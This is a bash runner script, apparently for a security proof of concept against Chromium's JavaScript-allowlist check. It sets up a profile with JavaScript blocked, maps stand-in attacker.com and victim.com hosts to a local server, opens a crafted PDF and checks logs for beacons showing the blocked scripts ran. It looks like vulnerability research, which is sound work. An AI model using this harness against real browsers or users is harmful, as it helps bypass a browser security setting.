#!/bin/bash
# Runner for the IsFrameAllowlistedForJavaScript bypass POC.
set -x

ARTIFACTS_DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME=/chromium/chromium/src/out/asan/chrome
PROFILE=/tmp/chrome-poc-profile
LOG="$ARTIFACTS_DIR/chrome-output.log"

pkill -9 -f "server.py" 2>/dev/null
pkill -9 -f "out/asan/chrome" 2>/dev/null
sleep 2
fuser -k 8080/tcp 2>/dev/null
sleep 1

# Fresh profile with JavaScript globally BLOCKED via content settings.
rm -rf "$PROFILE"
mkdir -p "$PROFILE/Default"
cat > "$PROFILE/Default/Preferences" <<'EOF'
{
  "profile": {
    "default_content_setting_values": {
      "javascript": 2
    }
  }
}
EOF

# Start server (serves attacker.com and victim.com via Host header).
cd "$ARTIFACTS_DIR"
python3 server.py > server.log 2>&1 &
SERVER_PID=$!
sleep 1

# Launch Chrome.
#  - Tab 1: attacker.com/x.pdf  -> full-page OOPIF PDF; injected renderer code
#    pushStates the wrapper then re-navigates the extension FTN to victim.com.
#  - Tab 2: victim.com/victim.html?control-top-level -> control showing JS is
#    blocked when victim.com is the top frame (no allowlist path).
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --use-gl=disabled --disable-dev-shm-usage \
  --enable-logging=stderr --v=0 \
  --host-resolver-rules="MAP attacker.com 127.0.0.1, MAP victim.com 127.0.0.1" \
  --user-data-dir="$PROFILE" \
  "http://attacker.com:8080/x.pdf" \
  "http://victim.com:8080/victim.html?control-top-level" \
  > "$LOG" 2>&1 &
CHROME_PID=$!

sleep 20

kill $CHROME_PID 2>/dev/null
kill $SERVER_PID 2>/dev/null
sleep 2
pkill -9 -f "out/asan/chrome" 2>/dev/null
pkill -9 -f "server.py" 2>/dev/null

set +x
echo
echo "===================== POC-relevant browser-process log ====================="
grep -E "POC-BROWSER|POC-RENDERER|POC-VICTIM" "$LOG" || true
echo
echo "===================== server log (beacons = victim JS ran) ================="
cat "$ARTIFACTS_DIR/server.log"